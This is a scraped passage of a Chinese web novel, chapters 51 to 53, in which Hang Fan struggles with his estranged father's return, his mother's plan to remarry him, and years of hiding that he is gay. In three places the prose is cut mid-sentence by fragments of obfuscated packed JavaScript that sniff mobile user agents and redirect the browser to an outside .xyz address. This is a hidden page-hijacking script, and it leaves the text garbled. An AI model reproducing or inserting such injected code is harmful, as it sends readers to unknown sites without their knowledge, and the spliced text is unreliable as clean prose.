「你小时候那些玩意儿,我一件都没扔。」她很自豪地对自己的儿子说,「不信,等你回来了自己清点清点。」 每次推门进入自己的房间,回忆的潮水,都随着映入眼帘的一件件熟悉物品,温柔地将杭帆包围。 他看见书架上的那叠奖状与证书(泛黄最厉害的那几张,边缘上都留着几个油乎乎的指印,那是被妈妈带去吃肯德基时留下的),在被仔细地抹平皱褶之后,整齐地摞在一起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645158|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从小学一年级到高中三年级,杭帆用过的所有教科书,也全都按开本大小摆放在架子上,仿佛是一把记录着时间流逝的尺。 散发着玫瑰柔顺剂与阳光香气的,是今天中午才晾晒完的崭新床品。从枕头到床单,都是清一色的黑(这是青春期的杭帆最喜欢的颜色,原因无他,中二而已)。而摆放在床头的那只毛绒恐龙,虽然灰扑扑的造型实在有点丑,却是第一天进幼儿园的杭帆嚎啕大哭着不愿松手的“好朋友”。 “你好呀。”杭帆伸手过去,轻轻地捏了捏它的嘴,“好久不见了。”在手指底下凹凸不平的,是一圈圈整齐又簇新的缝补线迹。 除了杭艳玲,在这样破旧的玩具上,还会有谁愿意为他留下如此认真的细密针脚呢? 鼻子蓦然一酸,杭帆缓缓在床边的椅子上坐下。 很小的时候,他也曾经有过很多玩具,是幼儿园最得老师宠爱也最被旁人羡慕的小孩。 在“父亲”狠心地将母亲抛弃之前,他也曾经牵着父母的手一起逛遍商场与公园,糖果点心都会如下雨一样地从天上掉下来。 在那之后,在他们辗转着搬家了许多次之后,遥控汽车与奥特曼,变形金刚和昆虫标本,它们全都遗散在了漫长迁徙路的某处。只有灰扑扑的毛绒恐龙,因为体积太大而不得不被杭帆抱在怀里,这才能一次又一次地幸免于难。 「还是很难受吗?你要喝点什么吗?」九岁的杭帆因流感而发起高烧,杭艳玲流着眼泪为他掖好被角:「妈妈要去上班,你先睡一会儿好吗?我把你的玩具洗过了,你抱着它睡一会儿吧,我中午就回来,好吗?」 十一岁的杭帆因为讨厌吃胡萝卜而和妈妈吵架,放学回家之后,在毛绒恐龙的怀里看见她留下的纸片。「粥里不会有胡萝卜了,晚饭钱放在餐桌上。」她说,「记得洗你的恐龙,脏!」 杭帆长到十四岁,正是奇怪的自尊心膨胀到历史最高点的时期,打死也不能承认自己喜欢过毛绒玩具。杭艳玲把他洗到褪色的恐龙给收进衣柜里,躲在一大堆换季的衣服下面,「万一你以后想起它了呢?」她儿子翻了个巨大的白眼,「那我宁愿去吊死。」 高中的应考压力实在太大,在狂躁地撕掉了一整本草稿纸之后,十七岁的杭帆终于把老朋友从衣柜里解救出来。他在房间里走来走去,嘴里嘀嘀咕咕地背着公式与课文,手里却在狂捏棉花恐龙。杭艳玲没再提起那个吊死不吊死的话题,她说:「好好考,小宝。你要好好学,要争气。」 进入罗彻斯特酒业后的第一个购物节,杭总监正带着新媒体部门通宵奋战,Miranda女士也亲自来给大家分发慰问品。除了一大堆食物饮料之外,每人的袋子里都还有一只质感软和的大毛球。「解压小道具。」同事对他解释,「想杀人,或者想自杀的时候,用力捏它!会感觉好一点。很有效。」瞪着桌上的荧光色毛球,杭帆想起的却是那只灰扑扑的恐龙。 眨眼之间,他从小孩长成了大人,又已离家远行那么多年。 童年时代的玩具布偶,经过了不知多少次的洗涤与晾晒,连面料上的绒毛都掉落大半,只留下一块块褪色不均的斑驳痕迹。 他无法想象,在那些独自一人寂坐的数千昼夜里,在家中捡拾了这件玩具的杭艳玲,将它再次洗净晾晒,又仔仔细细地缝补上所有脱落破损之处时,怀抱着的究竟是怎样一种心情。 “在全世界的所有事情里,我最害怕伤害她。” 捏着毛茸恐龙的短胖爪子,杭帆无声地对自己呢喃。 “我想要保护她,想要她不再被同一个人欺骗。” 可是,可假如这次是真的呢?假如那人确实浪子回头,确实是因为爱情而想要结婚呢? “如果这一切都是真的,而我却非要从中作梗不可……这会不会反而更加深刻地伤害了她?” 为何怕发生的总是最会发生?为何生活里没有参考答案? 为何人总要将手指抵上刀刃的两端,默然等待着自己被更锋利的一边给刺穿? 51.两把算盘 昂首挺胸地走进门,朱明华左手提着一只深蓝色纸袋,右手网兜里还拎着一只篮球。 “哎呀,回来就回来了,怎么还买这么多东西呢?”杭艳玲喜笑颜开地蹲身下去,帮他拿过拖鞋,一边还不忘回身喊:“小宝!你爸爸回来了!” 杭帆正在往餐桌上摆放碗筷,早早地就听到了楼道里的动静。可即便有妈妈这话在前,他也仍旧是一声不作。 反而是朱明华,非常自在地趿拉着拖鞋走进餐厅,又笑容满面地在他跟前坐下了。 “阿帆啊。”朱明华和蔼地唤他,“咱们父子,这次又得是有个一年多辰光没见了吧?” 杭总监这辈子都没人叫过什么“阿帆”,惊得他手上一个踉跄,差点把玻璃杯都给摔出去。 “嗯?是吗。不记得了。” 戴上了精英社畜专用的客气微笑,杭帆丝毫不掩饰自己口吻中的疏离之意:“喝点什么?” 一点也窘迫感也无的朱明华,只哈哈笑了两声,大度地把手一摆:“都是一家人,别太费事了,随便喝点吧,什么都行!” 杭艳玲正在厨房里倒腾她的鲫鱼白汤,闻声立刻对自家儿子嗔怪道:“小宝,咱家柜子里有茶叶,去给你爸泡一壶呀!” 将在外,虽有令而不受。亲妈的懿旨自然也不是时时刻刻都好使的。 比如眼下,杭总监八方不动,只随手拧开了两瓶矿泉水,闲闲往桌上一放,朗声向厨房里回道:“妈,都说别费事了,你也赶紧一起吃饭吧。” 而这朱明华也是连老脸都不红一下,当即顺坡下驴道:“是啊是啊,玲玲,难得咱们一家人团聚,赶紧坐下吃饭吧!” 杭帆面色如常,手里的筷子却差点要被撅断——艹,他心想,谁跟你是一家人了?! 但看在杭艳玲那如花笑靥的份上,他终究还是静静地在餐桌边坐了下来。 一顿饭,朱明华唱念做打连番上阵,又是舀汤又是布菜,恨不能使出这辈子全部的十八班武艺来讨杭艳玲欢心。 他给挟了一筷子鸡肉,还得先放到自己嘴边,仔细吹掉了上面的葱末儿,这才搁进她的碗里,说:“玲玲啊,我刚才去见老朋友唻。他夫妻俩人都蛮好,之前在国企里,现在也都退休了,以后你们也多走动走动,也让他们多关照关照你啊。” 杭艳玲对此十分受用。只有杭帆,一不留神就被刚出锅的红烧鸡块给烫着了上颚。 嘶嘶地倒抽着冷气,杭总监无不愤恨地心中暗道:当年你任由她与我辗转挣扎在一座座破旧的居民楼里的时候,当她必须得在下班后再打第二份甚至第三份工才能养得起我的时候,怎么没见你有这样的好心? 现在她退休了,衣食无忧,有一份自己的退休工资,有长大成人的儿子为她做经济上的后盾,你却终于又出现了?这是指望谁来关照谁呢? “慢点吃,慢点吃!还有谁要跟你抢不成?”杭艳玲心疼儿子,连忙给他倒上了满满一杯的冰镇果汁,这才又笑眯眯地对朱明华点头:“好的呀,你朋友的夫人,她应该好相处的吧?以后有空,我就去邀她,和我的几个小姊妹们一起去喝下午茶!” “前段时间啊,我刚找人算过,夏天呢,是个比较利好的我季节。” 朱明华握着汤勺,笑呵呵地对她道:“风水这个东西,是我们中国人的传统文化,是根哪!老祖宗的智慧,宁可信其有,不可信其无。所以玲玲啊,咱们今年就挑个夏天里的好日子,去把结婚证给领来,你说怎么样?” 结婚证三字一出,杭帆手里的筷子都不由顿了一下。 原本熨帖的食物,陡然变作了沉重的铅块,坚硬地坠在他的胃里。 不要答应他。杭帆近乎绝望地心里祷告着。 求求你了,不要答应他啊,妈妈! “说什么癫话,”杭艳玲笑容动人,半羞似怯地打了朱明华一下:“领证领证,以前叫你和我领证,你倒要跟我分手!现在知道急啦?我还没原谅你呢!要先看看你表现再说。” 酱油的味道是咸的,仿佛细密的小针扎在伤口上。白糖的味道是甜的,空虚又破碎地融化在唇齿间。只是一个最简单的咀嚼动作,都让杭帆感到了精力透支似的疲惫。 ——好想逃走。 内心深处,当年那个目睹父母决裂场景的,八岁的杭帆,正发出泫然欲泣的声音。 ——我不想再看下去了。想逃走。好想逃走。 可就如同八岁时因大受惊吓而全身僵硬地站立在原地那样,如今的杭帆,也只能在餐桌边继续麻木而机械地重复着吞咽食物的动作。 他不能摔碗而起。也不能对朱明华破口大骂。 为了实现杭艳玲想要的那份“幸福”,他必须忍耐。忍耐。再忍耐。 因为这是他身为一个曾获得了杭艳玲全部的爱与牺牲的孩子,所必须偿还的代价。 “阿帆啊,”浓情蜜意地对视了片刻,朱明华再次转向他,“以前,确实是爸爸对不起你们母子俩。现在我也一把年纪了,人到这时候,回想起以前做的事,哎……确实也觉得是脸上无光。” 他举起茶杯,自说自话地和杭帆的果汁碰了一下:“但是,哦,你们年轻人的话怎么说来着?相逢一杯泯恩仇是吧,哈哈!来来,爸爸敬你一杯,以后,咱们还继续做父子!连带着之前缺下那些年,都给补上。来!干了这杯!” “阿帆啊,你是我朱家的孩子,总是跟着妈妈姓呢,在外人看起来也终归不是那么回事儿。我看今年清明是来不及了,不如等到夏天,中元节,我带你和你妈妈回家去。咱们拜过祠堂里的祖宗,从此以后你就跟我姓,我和你妈再去把证一领,你们母子俩也就一起能记名上咱家族谱。” 朱明华想得倒是周全,一边说,还一边要用含笑的眼光不住地打量着杭帆——分文不花二十年,回头又能白捡一个好大儿,真是桩做梦也想不到的美事儿。 “要不就趁着这几天,爸陪你一道,去公安局把名字改过来!往后,这事儿也就算是定下来了。” “不必。” 杭帆直截了当地表示了拒绝:“我喜欢自己现在的名字。” “但我们朱家的族谱,总不能上一个外姓人的名字吧?”晓之以情动之以理地,他生物学上的父亲说道:“这事儿给祖宗看到了,到底也不成个体统。” 平稳放下筷子,杭帆直直地盯上对方的眼睛。 一字一顿地,他说:“但凡朱家的祖宗能有一点荫庇后人的用处,我妈都不必吃这么多年的苦。” “我是被我妈一个人养大的。和朱家的诸位列祖列宗毫无半点干系。”杭帆的声音平静,却字字句句都坚硬得能地上敲出锵然回响:“各位祖宗们但凡识相,都该看在我妈没把他们的子孙给养歪了的份上,托梦向她磕头道谢。” 杭艳玲吃了一惊,赶忙拍他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你想想,你可是我的儿子、董事长儿子,那得是什么待遇?”朱明华满面慈爱地对他道:“要是在外面干得太辛苦,就回家里来。咱家这么大的产业,左右也少不了你的这份。” 时间向前倒推十数年,和世界上所有耽溺于幻想的孩童一样,杭帆也做过那种“一觉醒来后成为超级富二代”的美梦。 ——但如果真的有一块免费馅饼从天而降,还不偏不倚地刚巧就落进你嘴里…… “不用。”他果断拒绝了这种听起来就美妙得有些不太对劲的诱惑:“我工作挺好的。” 替人打工,再好又能好到哪里去呢?但比起莫名其妙地成为上亿家业的继承人,杭帆宁愿相信自己会因为Harris的暴毙而走上升职加薪的人生巅峰。 “好好,小伙子,果然有志向!”朱明华赞不绝口,“我们家阿帆有这样的心气,以后家产交给他,也不算辱没我那勤恳几十年的成果了!” 他给自己斟上了矿泉水,作势又要来和杭帆干杯。 “来来,阿帆,你这个年纪,也该有对象了吧?准备什么时候结婚?谈的哪里的女孩儿啊?好不好早点带回家里,也让我和玲玲给你掌掌眼嘛。这个社会,男婚女嫁,门当户对,这都是很重要的事情——” 哐啷一声巨响,杭帆猛地站了起来。 52.说。说!说…… “门当户对?”杭帆厉声反问,“那你自己呢?怎么不再找个‘门当户对’的人来结婚?” 一言既出,四座沉寂。 在妈妈惊惶震动的神色里,杭帆终于意识到自己说错了话。 他无法忍受朱明华的虚情假意——在利用他人来满足自己的欲望,在用“爱情”的名义欺骗一个出身贫寒而又未晓世事的女孩时,朱明华可曾想过“门当户对”四个字,可曾想过杭艳玲或许也想要一场被周遭认可的“男婚女嫁”? 然而,在揭破对方的伪善同时,这也同样揭开了杭艳玲的伤痂。 “对不起。” 尽管只有短暂的一瞬间,但她迅速别过头去的受伤神情,还是让杭帆感到了针扎般的疼痛。 “妈,对不起。我……” 不熄的愤怒与痛苦的颤栗,像是冷热交织的长鞭,紧紧勒在他的喉头,令杭帆说不出话来。 这一瞬间,就仿佛惨绿色的青春时代再度回溯到了当下:他想要说点什么,想要剖开自己流血的心来证明点什么,可即便穷尽脑海中的一切词汇,他却仍旧拼凑不出一句合适的话语。 沉默中,杭帆收拾掉了桌上的碗筷。 “我去休息。”说着,他仓促逃回了自己的房间,如同回到了十五六岁时那些与杭艳玲吵完架的夜晚。 将被子拉过头顶,杭帆闭上眼,好让自己彻底躲藏进这片熟悉的避难所里。 黑暗中,他听见门外传来压低的交谈声,有来去重叠的脚步声,有防盗门打开关上又反锁的声音。 然后,万物归于静谧,就好像一切都还未曾发生,而杭帆也未降生到这个世界上一样。 在这短暂如幻梦的安宁里,他沉沉入睡,任由枯竭的自己被梦魇的巨网所捕获。 「你才几岁啊杭帆?!这就开始谈恋爱了啊?!」 气势汹汹地,杭艳玲把本子摔在了地上。 「你看看你,上次月考才考多少分啊杭帆?!我累死累活地上班赚钱供你,你倒好,在学校里逍遥自在地哄起小女生来了是吧?!」 「……啊?」本子砸到脚下的瞬间,十三岁的杭帆立刻像受惊的猫一样,原地弹出了一丈高。 可在听起妈妈的质询,他的脸上又渐渐浮现起了堪称是茫然的无辜神情:「什、什么谈恋爱?」 杭艳玲气得脸都白了,立刻蹲下身捡起本子,用力甩开那一页:「你还狡辩你?你这写的都是什么,你自己给我念!」 杭帆莫名其妙地接过本子,低头一看,确是自己的摘抄字迹无误。 When we are hungry, love will keep us alive. I would die for you, climb the highest mountain. 「什么啊妈!」小朋友痛呼冤枉,「这只是歌词啊,歌词!」他面露惊恐之色:「你、你不会以为这是我写的情书吧?!」 怔愣了一瞬,杭艳玲的气势陡然矮下去一截:「你,你不好好上学,整天在本子上抄这种东西做什么!」 做妈妈的那个在嘴上说得严厉,但可能是因为意识到自己确实错怪了孩子,她的语气也开始有了些摇摆。 而就像世界上任何一个正处于青春期的孩子那样,杭帆向她投去了一个“看,这里有烦人老妈”的专用眼神。 「因为这是英语老师布置的家庭作业。」 拍掉了本子上的灰,他满脸都写着对愚蠢大人们的不耐烦:「还有,我不会在学校里谈恋爱的,你放心好了。」 「诶杭帆,你什么态度这是?哎,你干吗,你开门啊!开门啊臭小子,我没带钥匙!」 十四岁的某一天,杭帆突然意识到,自己就是世人口中所谓的“同性恋”——无需什么经验与尝试,他很轻易地就认识到了这点。就像是那些母胎单身四十年的异性恋,大家不也同样能在十四岁的时候就确定了自己喜欢异性这件事吗? 「班长大人!嘿嘿。」从课桌的夹缝里,邻桌的男生鬼鬼祟祟地递上一沓卡片,「看看!这可是我压箱底的好东西。」他压低声音说,语气谄媚:「您要是这周的作业都借我瞅上一眼……班长大人,咱这一百零八张爱妃就任你挑选,如何?」 午休时间的班长大人,把漫画与小说都统统藏在了教辅资料的底下,课外书看得比做题还专心。杭帆屈尊降贵得抬了抬眼,飞快扫视了一下这人递上的东西,又迅速地把手上的娱乐项目给翻过一页。 「拿走拿走。」 他正看到故事的精彩处,满心都只惦记着武林大会与海贼宝藏:「什么好东西!自己收着吧。」 「原来班长你不喜欢双马尾啊?」同桌大惊失色,生怕行贿失败似的,赶紧从扑克里翻出一张红心Q:「那泳装呢?水手服呢?哦哦,我懂我懂,你不喜欢清纯派,你喜欢妖艳的!我也有的呀,你看这个——」 抄起桌上的习题册,杭帆一巴掌呼在这人的脑壳上。 「要抄我作业?」班长大人伸出了手:「拿你的借书证来换。哦,顺便帮我把《倚天屠龙记》的下两册借过来,我的证借满了。」 「那书里有妹子吗?啊,只有一个妹子?这有什么可看的?」邻桌试图把头伸到杭帆的桌肚里去:「我就不信了,班长你有这么清高?总不能是喜欢男——哎哟哟哟,别打了,别打了,疼!疼!大人饶命啊大人!」 前代大学生有云,选修课选逃,必修课必逃。 而对于新一代的大学生而言——网络在手,天下我有,逃不逃课的又有什么区别? 「狗屎,我人生中最大的错误就是选修了这门课。」 白洋把手搭在键盘上,用一双已然难以聚焦的困倦眼睛,涣散无神地盯着面前的课件投影,手上却运指如飞地在聊天软件上与杭帆吹水扯淡:「下学期要不咱还是选哲学吧?历代哲学先贤,多得是搞同性恋的。我谅他们也不敢对祖师爷大放厥词!」 坐在他旁边的杭帆正忙着赶专业课的大作业,一心二用到了连演都懒得再演的地步。此人的两眼直勾勾地盯着笔记本电脑屏幕,十根手指像钻木取火似的敲个不停,全程就没抬头看过投影:「卧槽手一滑错删了两行PPT,气死我也。啊?啥玩意儿?我们选它不是因为这门课好划水吗?」 「暂且先忍忍吧老哥,」二十岁的杭帆,一边高喊着作业写不完了我要死了这次真的来不及了,一边还要在聊天软件里狂发消息:「离了这门课,咱俩还能上哪儿去捞一个这么轻松的满分啊?把耳朵堵上就完了。」 「不行!实在忍不了一点,我已点开教务处的投诉信箱!」台上的教授估计不会想到,看似神游天外的白洋同学,其实已经在台下骂骂咧咧好一阵了:「2001年开始,我国的精神疾病诊断国家标准里,就已经‘同性恋’移除出了精神病的范围!就他还搁这儿跟我扯什么性变态和性倒错?肯定是因为这厮的水平不行!」 三下五除二,白洋已经写完了他的第一封投诉邮件,「哗擦,他现在开始扯艾滋病了!这是赤裸裸的歧视啊!操,说得好像他们异性恋乱搞就不会得艾滋一样!不行,我得再写一封。」 「杭帆你怎么不说话?」白洋得不到反馈,干脆在桌子下面踢了他一脚:「你的作业搞完了?」 「没有。」杭帆说,「别吵了,听课吧。」 度过二十四岁生日的那天,杭帆正在家里陪着杭艳玲。而大清早才搭乘红眼航班落地北京的白洋,“想着刚好你最近过生日,所以我灵机一动搭上了高铁”,闪现在了杭帆的新家门前。 手里还拎着一大堆稀奇古怪的中东特产。 「我为什么会需要七个圣甲虫挂件?」杭帆很是头痛,「这串刻了神秘符号的绿松石又是什么?白小洋,你没有背着我偷偷信仰了什么奇怪宗教吧?」 而白洋吭哧吭哧地从包里搬出更多的奇怪小礼品:「还没完呢!看这个,法蒂玛之手的画像!当地人相信,先知的女儿会给你带来好运,还会保护你不被嫉恨与伤害!」 「你已经掏出了至少来自五种不同宗教的纪念品了,这是要在我家里发动圣战?」杭帆的眼神愈发怀疑起来:「我需要这么多的幸运干吗?用来买彩票?朋友,做赌狗是不会有前途的。」 盘腿坐在床边的地板上,白洋抬起头来看着他。 「我觉得你需要更多的幸运,」他的好友说,「来获得至少一丁点的勇气。好跟你妈开口说那件事。」 「啊?」杭帆还在试图跟他装傻。「……什么事?」 安静了片刻,他俩听见了杭艳玲在厨房里拉开吊柜的吱呀声。 「你喜欢男人的这件事。」放低了声音,白洋说道。 「十年了,杭帆。从中学时的咱俩做起网友开始,我已经认识你十年了,而距离你意识到这件事也已经过去十年了。而你还从没有跟你妈提起过这件事。」 「你要一辈子都继续躲躲藏藏下去吗?」白洋问。 你没跟家里人出柜过? 相识一年多之后,十六岁的白洋在互联网的另一端问道。 十六岁的杭帆被“出柜”这个词给吓到大喘气。他左右张望了一阵,确认杭艳玲暂时不会出现在自己身边,这才愤愤地敲摁着手机键盘说:「我当然会啊!但绝不是今天!万一我妈把我赶出家门怎么办?!十六岁又不能打工,我会饿死!」 「哦,对哦。」这位网名叫“白色邪恶大山羊”的朋友,好像恍然大悟般地回复道:「你想得很周道嘛!」 杭帆第一次在现实生活中见到另一个男同性恋,就是在大学的新生报到处见到白洋。 和想象中不一样——活跃在互联网上的“白色邪恶大山羊”,是一个十四岁时就向家人坦白了性取向的超级勇者。这家伙不仅听对网上的各路同性恋文化社群了若指掌,甚至对全球的同性恋平权运动历史也如数家珍。他喜欢皇后乐队,喜欢麦当娜,人生偶像是张国荣。在十几岁的杭帆眼里,“白色邪恶大山羊”简直是当世所有同性恋文化的要素大集合,是他羡慕却无法成为的那种人。 但十八岁的杭帆,在大学校园的操场边,看到只是一个穿着白Tee与牛仔裤的同龄少年。 顶着一副酷酷的表情,头戴耳机的白洋头也不回地从签到处走过。走出没两步,他又倒退了回来:「啊……你是,‘Adrian航海家’?」 「不不求你不要在学校里叫我的网名我真的会想死。」杭帆立刻心惊肉跳地捂住这个人的嘴:「呃,所以你叫……?」 在和“白色邪恶大山羊”相约见面之前,杭帆有过各种各样的担心。但他最担心的是——如果这这位看起来就很自由奔放的朋友要约自己去gay bar,那要怎么办才好? 他可完全没有做好上大学第一周就要去泡男同夜店的心理准备啊! 「哦哦,我叫白洋。」 没有了互联网人设的滤镜,“白色邪恶大山羊”也只同样是一名十八岁的少年。 白洋没留长发,没有化妆,没穿高跟鞋,甚至都没有打耳洞。他就只是一个清爽的普通年轻帅哥,眼睛里闪耀着对食物的单纯渴望:「你叫,哦,杭帆。你好。不好意思,我刚就看到你了只是没想到Adrian会长这么好看,毕竟你在网上的发言还挺宅的,哈哈。哦那个,我能问一下吗,我们学校的食堂在哪儿啊?快饿死了要。」 「……你这人怎么比在网上的时候还不会说话啊?!」杭帆真的想揍他。 这一天结束的时候,十八岁的杭帆终于对“男同性恋”这个概念有了真实感。 原来男同性恋也可以是正常到不能再正常的普通人。他想。 这让杭帆的内心一下子感到松弛不少。 那或许,我也可以…… 他有些期待,又有些不太确定地想道。 躺在越野车的后座上,白洋又拆开了一包薯片。 杭帆正在副驾座上给“闻乡”修图,听到包装袋的声音,立刻出声抗议道:「最后一袋了,你也多少给我留点吧?!」 「青瓜味,不好吃。全给你了。」从他们进山之后,白洋的状态就一直很古怪,好像是怀揣着某桩忧愁的心事似的:「哎,爱情。杭小帆,你说爱情究竟是一种什么东西呢?」 全速运转着Photoshop的笔记本电脑,滚烫得足以用来煎鸡蛋。副驾座上的杭帆被热得不断左右腾挪,乍一听到这人的伤春悲秋之语,根本共情不了半点。 「你问我?我又没谈过恋爱。」散热风扇虚弱地旋转着,有气无力得像是杭帆的声音:「哎白洋,你在手机上看一下,这里能叫到外卖吗?啃了三天压缩饼干,我都快吃出幻觉来了。」 像具死去多时的尸体一样,白洋这人那是半点也不动弹,「但凡有外卖,我现在都已经喝上大杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657358|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少冰三分糖的奶茶了。」他唉声叹气地说,「哎,爱情,就像是这杯奶茶。得不到的时候让人抓心挠肺,等到真的路过奶茶店,你又开始觉得,啧,好像也不是非喝不可。」 「那我会跟你说,奶茶这种东西,不买立省百分百。」杭帆拧开可乐,头也不回地对他道:「但是,恋爱嘛,你想谈就谈,不想谈就不谈呗。老是夹在中间进退维谷地做什么?」 「你理解不了。」这人哼哼唧唧地在后座上翻滚,「没有亲自直面过爱的牢笼,你不会理解它的可怕与恐怖……但是,话又说回来哈。」 杭帆最怕从白洋嘴里听到的,就是“话又说回来”这五个字。 「杭小帆,咱们毕业小半年,你还是没有恋爱故事可以分享吗?」懒懒地,白洋踢了踢他的座椅靠背,「咱们那一届的同学里,可都已经有人闪婚之后又闪离了,你——」 突然之间,白洋的声音顿住。 「——你不会吧?」 这家伙一骨碌从后座椅上爬了起来,语气震惊。 「你还没有跟你妈说过?到现在都?!」 过了大约一个世纪那么久,前座上的杭帆才终于开口道。 「……我会的。」他说,「但不是现在。」 「你还是没办法对她开口。」白洋总结道。 这次,杭帆只能点头承认。 烧酒兑菠萝果汁,这种混合饮料的滋味并不算好,却很能迅速地让大脑陷入麻痹的晕眩。 「我要怎么说?」他反问,「我根本说不出口。」 他们从普吉岛某间酒吧的露天舞台边走过。打扮性感的男孩与男人们在舞台上热情拥吻。一颗巨大的迪斯科灯球在高处疯狂旋转着,把五颜六色的灯光与众人的口哨欢呼声一起打向舞台,将气氛渲染得更加热烈而迷乱。 在酒精的作用下,二十六岁的杭帆只觉得眼前的一切都是如此的怪异,又如此的遥远。 「你觉得我应该跟她说什么?」他听见自己嘶哑的嗓音,像是一捧行将烧干的余烬:「说,嘿妈,告诉你一个好消息,你这辈子都不会有儿媳妇了,因为你儿子喜欢男的!」 狠狠灌了一大口烧酒,杭帆发出一声惨笑。 「你觉得她会怎么想?」他问白洋,「你觉得,她会以为,我和这些人——」 他转过身去,指着舞台上那些正迷醉地交换着唇舌,连手掌也已经摸到彼此的衣服底下,在几百双眼睛甚至是几十个直播镜头的注目中,肆无忌惮地“表演”着大尺度亲昵戏码的男人们。 「她难道会觉得我和他们有什么区别吗?」像是自语,又像是在反问,他说:「不会的……不会的啊。」 「这些人让我觉得恶心。」杭帆喃喃,「可想到她听到这个消息之后可能会露出的表情,想到她可能会想到的事情……我又觉得自己也很恶心。」 灼烈的酒液,混合着甜蜜却也令口腔刺痛的菠萝果汁,滔滔不绝地从他的喉咙口里滚落下去。 「白洋,我知道你想要我好。作为朋友,我真的非常感谢。但是。但是!」 东南亚傍晚的海风,潮湿,带着眼泪般的咸,轻而缓地从他们身上吹过。 那是一种近乎于所触抚的感觉。温柔得令人沉醉,却又潮湿得让人想要逃脱。 「但她是我妈啊。」 「为了我,她已经吃了那么多的苦,受尽了那么多人的白眼……所以我想要她过得好一点,再好一点,这难道有什么不对?我想她从此以后都能在所有人面前抬头挺胸,我想要她再也不会被人指指点点,再也不会被任何人看不起,再也不用听到任何一句不礼貌不客气的话,这难道又有什么不对?!」 低吟的海风里,杭帆喑哑的声音绞乱在一起,像是断断续续的呜咽。 「通往幸福人生的道路或许有很多种。但如果不能令她感到骄傲,这对我就都没有意义。」 「只是想到我的爱情可能要建立在她的失望与痛楚之上,哪怕,哪怕这只是一种可能性,是一种不确定的未来……我都会觉得、我无法不去觉得——」 未完的话音,被椰林的风声打散,破碎地飘摇在异国的夜空里。 而白洋不知道的是,虽然在天人交加的内心搏斗中屡战屡败,但梦里的杭帆确也曾反复多次地试图向杭艳玲开口。 『妈妈。』 在所有的类似梦境里,他都以这个称呼郑重地开口。 『我有一件很重要的事要对你说。』 有时候,他会梦见杭艳玲放下手头的事情,笑盈盈地转头问他,『什么事呀,小宝?』 有时候,他梦里的杭艳玲只是自顾自地继续化着妆,语气轻快地应声道:『哎,你说。』 还有些时候,他梦到杭艳玲慢慢地抬起头来,用一种陌生而又让人心惊的神情,安静地凝望着他。一言不发,就像是她早就已经预料到杭帆接下来的每一句话。 『我想跟你说的是,我,就是,你之前跟我说谈恋爱的事情,我……』 他想说,我喜欢男的。 他想说,我是同性恋。 他想说,对不起妈妈让你失望了,但我真的真的不是故意的。 他想说,如果你不同意的话那也没关系,我只是不会和女孩结婚,我一定不会带人回来让你难堪也绝不会在外面说任何不合适的话,我们就像以前吵架的时候那样各自退一步好吗? 他想说,他想开口说,即便这只是梦里的“杭艳玲”即便他早就知道这一切都只是虚无即便醒来之后的世界仍旧会冰冷残酷可是—— 可是,他仍旧想要说。 想要将这一切诉之于口,想要让母亲看见真实而未经掩饰的他。 但他的后牙槽紧紧咬闭着,就好像这具身体都有着完全独立且不受他操控的意志。 他听见自己的牙关在颤抖。骨质结构彼此撞击,发出让人恐惧的嘎达嘎达声。 他的语言卡在喉咙里,如同被淤泥堵塞在河口的悬流,拼命地向前冲撞,却无法找到正确的出口。 梦里,他总是发不出一丁点的声音。以至于他不得不用双手来掰开自己的下颚,用手指来撬进自己的齿列,甚至是用近乎催吐的粗暴手法来抠进喉管深处——就为了让那句潜藏了十数年的剖白,诚实而准确地,投递到母亲的面前。 可即便是在这样绝望又暴烈的梦境里,他也从未能够完整地将这句话吐露。 53.错频 大汗淋漓地,他从噩梦中醒来。 伸手不见五指的黑夜里,门外却传来钥匙转动锁眼的机械碰撞声,以及一双酒醉男女的醺然说笑。 “讨厌!”杭艳玲咯咯大笑,像是回到了十几岁的年纪:“你又哄我!” 鞋子甩落在地,前后发出咔哒两记闷响。 “我要先拍婚纱照!你答应好了的。” 她的口吻里满是天真的憧憬,像是五岁小女孩正期待人生中的第一条蓬蓬裙:“还有蜜月,要去欧洲旅行!这都是你之前欠我的嘛!” 朱明华絮絮说了些什么,梦中乍醒的杭帆并没有听清。 ——可就算听清了又能如何?这一切难道还能由得杭帆来做主吗? “那不行,你得先兑现你的承诺!”嘻嘻笑着,杭艳玲噼里啪啦地摁着开关:“你要是不答应,我可不跟你结婚。” 她像是喝得很醉了,说话都如做梦一样飘忽。 “不是你说,你在上海还有洋房别墅嘛?”她的语气亢奋,仿佛搭乘着梦的气球,径直飞往了理想的爱巢:“那我们就去别墅里拍婚纱照,好不好?我还都没住过别墅呢!” 沿着卧室的门缝,客厅灯光气焰嚣张地溜了进来。 仿佛深感刺痛一般地,杭帆用手背挡住了自己的眼睛。 ——十五岁的时候,他也曾因为厌倦了补习班上永无止境的试卷与习题,而偷偷地翘过一次课。 